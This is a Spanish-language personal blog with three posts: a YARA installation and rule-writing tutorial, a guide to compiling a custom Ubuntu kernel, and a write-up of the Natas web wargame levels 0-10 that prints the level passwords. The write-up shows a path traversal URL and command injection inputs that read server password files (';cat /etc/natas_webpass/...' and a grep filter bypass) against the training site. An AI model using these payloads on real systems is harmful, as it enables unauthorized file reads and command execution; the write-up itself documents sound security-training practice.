sábado, 30 de marzo de 2013

Unas notas sobre Yara

Hace un tiempo, tuve la tarea de tratar de identificar determinado patrón dentro de un conjunto de archivos dado. Primero pensé en hacerlo con Python pero no quería hacer lo que seguramente están pensando: string.find(). Entonces, recordé que en un momento, leyendo Malware Analyst's Cookbook, había visto yara.

Qué es Yara?. Desde su web dicen esto:
YARA is a tool aimed at helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families based on textual or binary patterns contained on samples of those families. Each description consists of a set of strings and a Boolean expression which determines its logic.
Para ponerlo en criollo, Yara permite, mediante un conjunto de reglas, clasificar e identificar muestras de malware.

Esto lo vamos a ver mucho más claro con un ejemplo, pero primero, instalemos Yara.

Primero que nada, nos bajamos los sources y los bindings para Python:
nriva@ubuntu:~$ wget http://yara-project.googlecode.com/files/yara-1.7.tar.gz
nriva@ubuntu:~$ wget http://yara-project.googlecode.com/files/yara-python-1.7.tar.gz
Luego, descomprimimos los .tar.gz:
nriva@ubuntu:~$ tar xzf yara-1.7.tar.gz 
nriva@ubuntu:~$ tar xzf yara-python-1.7.tar.gz
Instalamos un par de paquetes que vamos a necesitar para compilar:
nriva@ubuntu:~$ sudo apt-get install python-dev libpcre3 libpcre3-dev
Ahora, nos vamos a la carpeta de los sources de Yara y ejecutamos los siguientes comandos para compilar:
nriva@ubuntu:~$ cd yara-1.7/
nriva@ubuntu:~/yara-1.7$ ./configure
nriva@ubuntu:~/yara-1.7$ make
nriva@ubuntu:~/yara-1.7$ make check
nriva@ubuntu:~/yara-1.7$ sudo make install
Listo, ya tenemos yara funcionando:
nriva@ubuntu:~/yara-1.7$ yara
usage:  yara [OPTION]... [RULEFILE]... FILE | PID
options:
  -t <tag>                  print rules tagged as <tag> and ignore the rest. Can be used more than once.
  -i <identifier>           print rules named <identifier> and ignore the rest. Can be used more than once.
  -n                        print only not satisfied rules (negate).
  -g                        print tags.
  -m                        print metadata.
  -s                        print matching strings.
  -l <number>               abort scanning after a <number> of rules matched.
  -d <identifier>=<value>   define external variable.
  -r                        recursively search directories.
  -f                        fast matching mode.
  -v                        show version information.

Report bugs to: <vmalvarez@virustotal.com>
Ahora, compilemos los bindings para Python:
nriva@ubuntu:~$ cd yara-python-1.7/
nriva@ubuntu:~/yara-python-1.7$ python setup.py build
nriva@ubuntu:~/yara-python-1.7$ sudo python setup.py install
Probemos a ver si funciona:
nriva@ubuntu:~/yara-python-1.7$ python
Python 2.7.2+ (default, Jul 20 2012, 22:15:08)
[GCC 4.6.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import yara
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: libyara.so.0: cannot open shared object file: No such file or directory
>>>
Tenemos un error. Buscando en Google, damos con la solución:
nriva@ubuntu:~/yara-python-1.7$ sudo su
root@ubuntu:/home/nriva/yara-python-1.7# echo "/usr/local/lib" >> /etc/ld.so.conf
root@ubuntu:/home/nriva/yara-python-1.7# ldconfig
root@ubuntu:/home/nriva/yara-python-1.7# exit
exit
nriva@ubuntu:~/yara-python-1.7$ python
Python 2.7.2+ (default, Jul 20 2012, 22:15:08)
[GCC 4.6.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import yara
>>> dir(yara)
['CALLBACK_ABORT', 'CALLBACK_CONTINUE', 'Error', 'SyntaxError', '__doc__', '__file__', '__name__', '__package__', 'compile']
>>> 
Ya tenemos todo funcionando. Por un lado, la versión standalone que ejecutaremos desde una terminal y por el otro los módulos para poder utilizar Yara desde Python.

Es hora de que comencemos a escribir nuestra primer regla, pero les aconsejo que miren la documentación de Yara para tener mucha más información al respecto. 

Las reglas en Yara van simplemente en un archivo .txt aunque por conveniencia se le coloca la extensión .yara.

La estructura de cada regla es la siguiente:

rule NombreDeLaRegla : keyword1 keyword2
{
     meta:
        description = "Metadata. Un simple párrafo que explica que hace la regla."
     
     strings:
        $pattern1 = "MiStringAMatchear1"
        $pattern2 = "MiStringAMatchear2"
        $regex1 = "MiRegex"

     condition:
        if $pattern1 and $pattern2 or regex1
}
Vayamos por partes.

Para comenzar, tenemos la palabra reservada "rule" para indicar que es una regla. Seguido va el nombre que queremos darle a la regla y separado por dos puntos ":" van los keywords o tags para dicha regla.

Entre llaves "{}" va a ir todo el "código" de la regla. Primero, tenemos una sección de metadata indicada con la palabra "meta". En "description" es donde colocaremos un pequeño párrafo describiendo para que sirve la regla, como funciona, etc.

Luego, tenemos dos partes importantes que son,  básicamente, el esqueleto principal de cada regla.

Primeramente, "strings" sirve para declarar los patrones a buscar y matchear. Estos patrones pueden ser bytes, strings ASCII, strings wide, tanto case sensitive como case insensitive y hasta expresiones regulares.

A continuación, tenemos "condition". En esta sección vamos a colocar todas las condiciones que deben de cumplirse para matchear. Estas son expresiones lógicas como las que pusimos en el ejemplo.

Para seguir aclarando las cosas un poco más, escribamos una regla que nos diga si un archivo esta empacado con UPX:
rule upx : checkupx
{
    meta:
        description = "Esta regla comprueba si un archivo dado esta o no empacado con UPX."
       
    strings:
        /*
        -----> UPX 3.09
        807C24 08 01  CMP BYTE PTR SS:[ESP+8],1
        0F85 E2010000 JNZ iisproxy.10091E5D
        60            PUSHAD
        BE 00800510   MOV ESI,iisproxy.10058000
        8DBE 0090FAFF LEA EDI,DWORD PTR DS:[ESI+FFFA9000]
        57            PUSH EDI
        EB 10         JMP SHORT
        */
        $entrypoint_signature = { 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 EB 10 }
       
    condition:
        $entrypoint_signature at entrypoint
}
Si se fijan, en la condición estoy utilizando una palabra reservada más "entrypoint". De esta manera, le digo que solo busque el signature en el EntryPoint de un archivo PE. En caso de que el archivo no sea PE, esta regla nunca resultará en True.

Voy a probar esta regla contra un archivo empacado con UPX 3.09. Vamos a hacerlo desde una terminal:
nriva@fastix:~/Desktop$ yara -s -t checkupx checkupx.yara iisproxy.dll
upx iisproxy.dll
0x3a070:$entrypoint_signature: 80 7C 24 08 01 0F 85 E2 01 00 00 60 BE 00 80 05 10 8D BE 00 90 FA FF 57 EB 10
Como vemos, la detección fue exitosa. Al invocar a Yara, le he pasado un par de parámetros:
  • -s: con este parámetro le indico que me muestre los patrones que han matcheado.
  • -t <tag>: con este parámetro le indico que quiero que solo me matchee la regla marcada con el keyword <tag>.
Esto lo prodríamos haber hecho desde Python también pero eso queda como tarea para el lector :)

Sin dudas, es una gran herramienta que nos puede ser de mucha utilidad.

Hasta acá con Yara. Espero que les haya sido útil. Hasta la próxima.

Referencias:

Compilando un kernel custom para Linux


 El otro día necesitaba aplicar un patch al kernel de Ubuntu. Nunca me había tocado hacer esto así que no tuve más remedio que aprender :)

Con una búsqueda en Google podemos encontrar decenas de tutoriales, desde avanzados hasta novatos. En particular, yo seguí este tutorial pero tuve que hacer algunas modificaciones.

Aclaro que, en mi caso, estaba trabajando con kernel 3.0.0-12.20:


Lo primero que tenemos que hacer es instalar algunos paquetes que vamos a necesitar para compilar:
sudo apt-get install gcc fakeroot kernel-package libncurses5-devel
Luego, vamos a necesitar los sources del kernel. Acá tenemos un par de opciones para poder obtenerlos:

1. Podemos ejecutar el siguiente comando: apt-get source linux-image-$(uname -r)

De esta manera, vamos a conseguir los sources de kernel up-to-date (incluyendo parches de seguridad) para la versión de kernel que tenemos actualmente instalada.
 
En este caso, yo quería que esos parches no estén así que recurrí a la segunda opción.

2. Desde Linux Kernel Archives podemos acceder a todas las versiones del kernel de Linux.

3. En mi caso, accedí directamente al repositorio de paquetes de Ubuntu y elegí la versión que estaba utilizando (oneric) y luego en la sección de "admin" conseguí lo que buscaba linux-image-3.0.0-12-generic (3.0.0-12.20)



Sobre la parte derecha de su pantalla, van a poder observar un par de links para bajarse unos archivos:



De ahí nos vamos a bajar los siguientes archivos:
1. linux_3.0.0.orig.tar.gz: los sources del kernel "pelados"
2- linux_3.0.0-12.20.diff.gz: parches
Una vez hecho eso, vamos al home y creamos una carpeta, por ejemplo, llamada src, de esta manera:


Y en dicha carpeta colocamos los dos archivos que acabamos de bajar y los descomprimimos:
nriva@ubuntu:~/src$ tar -xf linux_3.0.0.orig.tar.gz
nriva@ubuntu:~/src$ gunzip linux_3.0.0-12.20.diff.gz
Por una lado tenemos la carpeta con los sources originales y por el otro un archivos .diff que contiene diferentes parches para dicho kernel. Por lo tanto, voy a aplicar dichos parches a los sources originales antes de hacer cualquier modificación.

Para aplicar los parches, debemos de ingresar a la carpeta donde se encuentran los sources originales y ejecutar el siguiente comando (deben de tener previamente instalado el programa "patch"):
nriva@ubuntu:~/src/linux-3.0$ patch -p1 < ../linux_3.0.0-12.20.diff
De esa manera, aplicamos los parches correspondientes al kernel original.

Una vez que tenemos hecho eso, podemos hacer los cambios que necesitemos en los sources y finalmente, compilar:

time fakeroot make-kpkg --initrd --append-to-version=-tweak kernel-image kernel-headers
El comando "time" no es necesario, es solo para ver cuando se demoró en terminar todo el proceso.

El comando "fakeroot" es una especie de falso sudo. Se utiliza cuando se necesita manipular archivos y crear, como en este caso, paquetes .deb.

make-kpkg se utiliza para crear paquetes .deb pero relacionados con el kernel.

Con "--initrd" se crea una especie de filesystem temporal (RAM disk) necesario durante el booteo del nuevo kernel.

El parámetro "--append-to-version" sirve para poder agregar una especie de "postfijo" al nuevo kernel que se generará. En este caso será algo como "kernel 3.0.0-12-tweak".

Finalmente, le indicamos que genere los binarios y headers para nuestro kernel.

Una vez que termine el proceso, vamos a tener algo como esto:

make[2]: Leaving directory `/home/nriva/src/linux-3.0'
make[1]: Leaving directory `/home/nriva/src/linux-3.0'

real    126m19.925s
user    81m21.793s
sys    14m1.429s
nriva@ubuntu:~/src/linux-3.0$
Al ir un nivel más arriba del directorio en el cual nos encontramos, vamos a encontrar dos archivos .deb:

 
Los archivos son los siguientes:
linux-image-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb
linux-headers-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb
Lo que debemos de hacer ahora es instalar ambos paquetes, de la siguiente manera:
sudo dpkg -i linux-image-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb
Deberían de tener un output como este:
nriva@ubuntu:~/src$ sudo dpkg -i linux-image-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb
[sudo] password for nriva:
Selecting previously deselected package linux-image-3.0.4-tweak.
(Reading database ... 127324 files and directories currently installed.)
Unpacking linux-image-3.0.4-tweak (from linux-image-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb) ...
Done.
Setting up linux-image-3.0.4-tweak (3.0.4-tweak-10.00.Custom) ...
Running depmod.
Examining /etc/kernel/postinst.d.
run-parts: executing /etc/kernel/postinst.d/initramfs-tools 3.0.4-tweak /boot/vmlinuz-3.0.4-tweak
update-initramfs: Generating /boot/initrd.img-3.0.4-tweak
run-parts: executing /etc/kernel/postinst.d/pm-utils 3.0.4-tweak /boot/vmlinuz-3.0.4-tweak
run-parts: executing /etc/kernel/postinst.d/update-notifier 3.0.4-tweak /boot/vmlinuz-3.0.4-tweak
run-parts: executing /etc/kernel/postinst.d/zz-update-grub 3.0.4-tweak /boot/vmlinuz-3.0.4-tweak
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-3.0.4-tweak
Found initrd image: /boot/initrd.img-3.0.4-tweak
Found linux image: /boot/vmlinuz-3.0.0-12-generic
Found initrd image: /boot/initrd.img-3.0.0-12-generic
Found memtest86+ image: /boot/memtest86+.bin
done

 Ahora, instalamos los headers:
nriva@ubuntu:~/src$ sudo dpkg -i linux-headers-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb
Y el output es el siguiente:
nriva@ubuntu:~/src$ sudo dpkg -i linux-headers-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb
[sudo] password for nriva:
Selecting previously deselected package linux-headers-3.0.4-tweak.
(Reading database ... 131337 files and directories currently installed.)
Unpacking linux-headers-3.0.4-tweak (from linux-headers-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb) ...
Setting up linux-headers-3.0.4-tweak (3.0.4-tweak-10.00.Custom) ...
Examining /etc/kernel/header_postinst.d.

Ahora, solo rebooteamos y deberíamos de arrancar con el nuevo kernel por default. 

Para verificar que estamos corriendo con el nuevo kernel, abrimos una terminal y ejecutamos el comando: "uname -r":

 

Puede ocurrir que cuando booten el nuevo kernel se encuentren con un mensaje como este:
Kernel Panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)
Eso lo pueden solucionar ejecutando los siguientes comandos:
sudo update-initramfs -u -k 3.0.4-tweak
sudo update-grub
En mi caso, compile varios kernels en la misma distro y quería bootear con uno u otro según las pruebas que tenía que hacer. Para eso, tuve que configurar grub para que me de la lista de kernels al inicio. Hay varias maneras de hacer esto, pero la que me funcionó fue la de comentar las siguientes líneas en /etc/default/grub:
#GRUB_HIDDEN_TIMEOUT=0
#GRUB_HIDDEN_TIMEOUT_QUIET=true
Recuerden de ejecutar "sudo update-grub" después de modificar el archivo de configuración de grub.

Otra cosa que también necesitaba era remover kernels que ya no necesitaba, eso lo podemos hacer ejecutando los siguiente comandos resaltados en amarillo:
nriva@ubuntu:~$ dpkg --list | grep linux-image
ii  linux-image-3.0.0-12-generic           3.0.0-12.20                             Linux kernel image for version 3.0.0 on x86/x86_64
ii  linux-image-3.0.4-tweak                3.0.4-tweak-10.00.Custom                Linux kernel binary image for version 3.0.4-tweak
ii  linux-image-generic                    3.0.0.12.14                             Generic Linux kernel image
nriva@ubuntu:~$ sudo apt-get purge linux-image-3.0.4-tweak
Eso es todo!. Hasta pronto!.

Referencias:

miércoles, 6 de marzo de 2013

natas wargame - Niveles 0-10

Quienes me conocen saben que no soy un gran amante de los retos web. Sin embargo, hace unos días me encontré con un sitio en el cual hay varios wargames y entre ellos hay uno dedicado a retos web. Comencé a jugarlo y realmente terminó gustandome.

La página en cuestión es http://www.overthewire.org/wargames/ y el wargame que estoy jugando es Natas.

Decidí escribir un write up de cada uno de los niveles que fui resolviendo. La mayoría de los retos resultan sencillos pero algunos otros hay que pensarlos un rato :)

 natas0

http://natas0.natas.labs.overthewire.org

Te dan un usr y pwd: natas0/natas0

En la página hay un mensaje que dice: "You can find the password for the next level on this page."

Mirando el source de la página se puede ver el siguiente código:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.

<!--The password for natas1 is 9hSaVoey44Puz0fbWlHtZh5jTooLVplC -->
</div>
</body>
</html>
El password para el próximo nivel puede verse en el mismo source de la página: 9hSaVoey44Puz0fbWlHtZh5jTooLVplC

Vale aclarar que los nombres de usuario para todos los niveles son "natasX" donde X es un número incremental desde 0 a n.

natas1

En la página de este nivel se puede ver un mensaje que dice: "You can find the password for the next level on this page, but rightclicking has been blocked!"

El botón derecho está deshabilitado con Javascript pero si utilizamos, por ejemplo, noscript para bloquear los permisos de la web y evitar que no se ejecute el código Javascript, podemos ver el código de la página nuevamente donde tenemos el siguiente código:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<h1>natas1</h1>
<div id="content">
You can find the password for the
next level on this page, but rightclicking has been blocked!

<!--The password for natas2 is aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl -->
</div>
</body>
</html>

El password para el siguiente nivel es: aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl

natas2

En esta página tenemos un mensaje como este: "There is nothing on this page"

Si miramos el source de la página podemos ver lo siguiente:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas2</h1>
<div id="content">
There is nothing on this page
<img src="files/pixel.png">
</div>
</body></html>

Tenemos un tag de "img" que está referenciando un archivo llamado pixel.png en el directorio "files". Si accedemos a:

http://natas2.natas.labs.overthewire.org/files

podemos ver un archivo llamado "users.txt" que tiene el siguiente contenido:

# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb
eve:zo4mJWyNj2
mallory:9urtcpzBmH

El password para el siguiente nivel es: lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb

natas3

La página tiene un mensaje como este: "There is nothing on this page"

Mirando el source de la misma se puede ver el siguiente código:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas3</h1>
<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>
</body></html>

Ese mensaje da la idea de que goole no va a poder crawlear alguna página del site que se indique en el robots.txt, tal cual dice la doc de Google:

https://developers.google.com/webmasters/control-crawl-index/docs/faq#h17

Si accedemos a http://natas3.natas.labs.overthewire.org/robots.txt podemos ver el siguiente contenido:

User-agent: *
Disallow: /s3cr3t/

La directiva "Disallow" indica que directorio o página no debe crawlearse. En este caso, se está protegiendo la página o directorio "s3cr3t".

Si ingresamos a http://natas3.natas.labs.overthewire.org/s3cr3t/ vemos que hay un archivo llamado "users.txt" con el siguiente contenido:

natas4:8ywPLDUB2yY2ujFnwGUdWWp8MT4yZrqz

natas4

Al ingresar a la página se puede observar el siguiente mensaje:

Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

Al darle a "refresh page", se puede ver un mensaje similar:

Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/index.php" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

De "alguna manera" sabe que venimos de un lugar diferente al que deberíamos de venir. Dice que los usuarios autorizados deben de venir de:

http://natas5.natas.labs.overthewire.org/

La manera de controlar esto es mediante el header "Referer" en el request HTTP. Utilizando, por ejemplo, LiveHTTPHeaders se puede ver el request que hacemos desde el browser y la respuesta del mismo al darle al botón "refresh page":

http://natas4.natas.labs.overthewire.org/index.php

GET /index.php HTTP/1.1
Host: natas4.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://natas4.natas.labs.overthewire.org/index.php
Authorization: Basic bmF0YXM0Ojh5d1BMRFVCMnlZMnVqRm53R1VkV1dwOE1UNHlacnF6
Connection: keep-alive

HTTP/1.1 200 OK
Date: Fri, 01 Mar 2013 01:01:33 GMT
Server: Apache
X-Powered-By: PHP/5.3.5-1ubuntu7.11
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 276
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
----------------------------------------------------------

El "Referer" en el GET a "index.php" tiene el siguiente contenido: http://natas4.natas.labs.overthewire.org/index.php pero en su lugar debería de tener "http://natas5.natas.labs.overthewire.org/". Para poder modificar el contenido de este header podemos utilizar, por ejemplo, TamperData.

Una vez modificado el referer podemos ver el siguiente contenido en la página:

Access granted. The password for natas5 is V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z

natas5

Al entrar a la página, tenemos un mensaje que dice algo como:

"Access disallowed. You are not logged in"

Mirando el source de la página no se ve nada interesante:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas5</h1>
<div id="content">
Access disallowed. You are not logged in</div>
</body>
</html>

Por lo tanto, el tema viene por otro lado. De alguna manera la webapp sabe que no estamos autenticados. Pero cómo?. Mirando el request HTTP se puede ver lo siguiente:

GET / HTTP/1.1
Host: natas5.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: loggedin=0
Authorization: Basic bmF0YXM1OlYwcDEycXozMEhFVVUyMmR6N0NaR0hpRmszVmRQQTla
Connection: keep-alive

HTTP/1.1 200 OK
Date: Fri, 01 Mar 2013 01:07:10 GMT
Server: Apache
X-Powered-By: PHP/5.3.5-1ubuntu7.11
Set-Cookie: loggedin=0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 187
Keep-Alive: timeout=15, max=96
Connection: Keep-Alive
Content-Type: text/html
----------------------------------------------------------

Se puede ver que esta utilizando el header "Authorization" con "Basic" y además el header "Cookie" tiene el parámetro "loggedin" en 0. Qué pasa si tampereamos el request y cambiamos el valor del header "Cookie" a 1?. Si el control de la autenticación está dado solo por un flag, deberíamos de poder ver el flag para el próximo nivel.

El tampereado efectivamente funciona y se puede observar el siguiente mensaje:

Access granted. The password for natas6 is mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU

natas6

En este nivel, tenemos un form que nos permite ingresar algo y un botón de submit. El source code de la página es el siguiente:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas6</h1>
<div id="content">

<?
include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }

?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Vemos que hay un script donde hay un IF que comprueba que lo que se envía en el POST en el parametro "secret" sea igual al contenido de la variable "$secret". Al inicio del script se puede ver la siguiente línea:

include "includes/secret.inc";

Esto hace un include en el código del file "secret.inc", es como el #define de C. Si accedemos a:

natas6.natas.labs.overthewire.org/includes/secret.inc

Podemos ver lo siguiente:

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

Al ingresar el valor de "$secret" en el form y darle al botón "submit", obtenemos el flag para el siguiente nivel:

Access granted. The password for natas7 is XLoIufz83MjpTrtPvP9iAtgF48EWjicU

natas7

El ingresar a la página del reto solo podemos  ver dos links a "Home" y "About". Mirando el source de la página podemos ver lo siguiente:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas7</h1>
<div id="content">

<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
</html>

El hint nos dice en que directorio está el flag. Además, vemos que tanto "home" como "about" se acceden mediante el parámetro "page". Esto nos hace pensar que de alguna manera debemos de llegar al directorio que el hint nos dice pero utilizando el parámetro "page". Todo parece indicar que un path traversal existen en el parámetro "page".

Si probamos algo del estilo:

http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../../../../etc/natas_webpass/natas8

tendremos el siguiente resultado:

maabkdexUStb6JJXUqmBx7Re8M61cksn

natas8

En la página podemos ver un form que nos pide ingresar un "secret", un botón para submitear el valor y un link para ver el source code de la página:

 <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas8</h1>
<div id="content">

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Este reto es muy similar al natas6 pero en este caso hay un paso extra antes de comparar el resultado que va en el request con el valor almacenado en la webapp. No se compara el valor directo sino que se aplica una transformación al valor almacenado en la variable "$encodedSecret" la cual es:

1. encodea el valor en base64
2. la pone en orden inverso
3. convierte el resultado de las dos operaciones anteriores en hex.

Por lo tanto, podemos aplicar las mismas operaciones en orden inverso para obtener le valor original:

1. Pasamos el valor a bin "3d3d516343746d4d6d6c315669563362" --> \x3d\x3d\x51\x63\x43\x74\x6d\x4d\x6d\x6c\x31\x56\x69\x56\x33\x62, lo cual se transforma en "==QcCtmMml1ViV3b" que es valor en base64 pero invertido.

2. Damos vuelta el valor: "b3ViV1lmMmtCcQ=="

3. Lo decodeamos usando base64 --> "b3ViV1lmMmtCcQ==".decode("base64") --> oubWYf2kBq

Al ingresar dicho valor en el form obtenemos el siguiente resultado:

Access granted. The password for natas9 is sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT

natas9

Al ingresar a este nivel, vemos un form que dice lo siguiente: "Find words containing:" y permite que ingresemos algo. Al mirar el source code de la página vemos lo siguiente:

 <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Vemos que toma el contenido del parámetro "needle" y se lo asigna a la variable "$key". Luego, comprueba que dicha variable no sea nula y en caso afirmativo ejecuta un passthru que según http://php.net/manual/es/function.passthru.php es parecida a exec(), es decir que podemos ejecutar un comando en el server.

En este caso, el comando ejecutado en el passthru es "grep -i $key dictionary.txt". Esto no está del todo bien puesto que está tomando el input directamente desde el form sin hacer ningún tipo de validación sobre el mismo con lo cual es vulnerable a commando injection. Por ejemplo, podriamos ejecutar un "ls -la", simplemente colocando ";ls -la" en el form (el ; es para cortar el comando en el passthru y poner nuestra sentencia a continuación). El resultado es el siguiente:

-rw-r----- 1 natas9 natas9 460878 Sep 18 14:05 dictionary.txt

Luego, probé de hacer cat y grep sobre el dictionary.txt para ver si lograba encontrar algo como "flag=" pero no tuve éxito. Entonces, en que file está el flag para el siguiente reto?. Recordé que en el natas7 el hint nos decia que el flag estaba en /etc/natas_webpass/natas8 entonces probé algo como: ";cat /etc/natas_webpass/natas10" y este fue el resultado:

s09byvi8880wqhbnonMFMW8byCojm8eA

African
Africans
Allah
Allah's
American
Americanism
Americanism's
Americanisms
[...]

natas10

Este reto es muy similar al anterior salvo que en este caso se filtran algunos caracteres:
 <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas10</h1>
<div id="content">

For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Vemos que se utiliza preg_match http://php.net/manual/es/function.preg-match.php para matchear ciertos caracteres del request con la siguiente expresión regular: "[;|&]". En caso de que encuentre alguno de esos caracteres en el parámetro "needle" nos dirá "Input contains an illegal character!". Por lo tanto, no podemos ejecutar un comando como lo hicimos en le reto anterior utilizando ";".

Luego de algunas pruebas no pude ejecutar algo como "cat /etc/natas_webpass/natas11". Busqué en Google si existía alguna manera de bypassear esta función pero no tuve éxito. Entonces pensé que tal vez se podría hacer algo solo con el grep. grep es un comando de bash para matchear cosas en uno o más files. La sintáxis es algo como "grep LO_QUE_QUIERO_MATCHEAR EL_FILE_DONDE_QUIERO_MATCHEAR". Por ejemplo, consideremos el archivo "telefonos_de_travestis.txt":
Telefonos de travas
--

cacho = 123456789
la giovanni = 98989898
zulma = 86868686

Ahora, quiero matchear el telefono de "cacho", entonces haría algo como: "grep "cacho" telefonos_de_travestis.txt" y el resultado sería el siguiente:
nriva@fastix:~/Desktop/wargames/natas$ grep "cacho" telefonos_de_travestis.txt
cacho = 123456789
En este caso, se utiliza el parámetro "i" para ignorar el case, es decir, es case insensitive.

Ahora, que pasa si en lugar de "cacho" queremos matchear todo el contenido del file?. En estos casos se suelen utilizar los wildcards.

Por ejemplo, podríamos ejecutar el siguiente comando: "ls -la | grep -i .txt" para matchear todos los archivos con .txt:

nriva@fastix:~/Desktop/wargames/natas$ ls -la | grep -i .txt
-rw-rw-r-- 1 nriva nriva 16261 Mar  1 22:10 natas_notas.txt
-rw-rw-r-- 1 nriva nriva 15263 Mar  1 22:03 natas_notas.txt~
-rw-rw-r-- 1 nriva nriva    82 Mar  1 22:08 telefonos_de_travestis.txt
Ahora, haciendo algunas pruebas, me encontré con que solo con el punto ".", el grep te matchea todo el contenido de un file, por ejemplo, ejecutando el siguiente comando "nriva@fastix:~/Desktop/wargames/natas$ grep -i . telefonos_de_travestis.txt" me arroja el siguiente resultado:
nriva@fastix:~/Desktop/wargames/natas$ grep -i . telefonos_de_travestis.txt
Telefonos de travas
--
cacho = 123456789
la giovanni = 98989898
zulma = 86868686
nriva@fastix:~/Desktop/wargames/natas$
Por lo tanto, podríamos probar de ejecutar algo como ". /etc/natas_webpass/natas11" y ver cual es el output:
/etc/natas_webpass/natas11:SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6
dictionary.txt:African
dictionary.txt:Africans
dictionary.txt:Allah
dictionary.txt:Allah's
dictionary.txt:American
dictionary.txt:Americanism
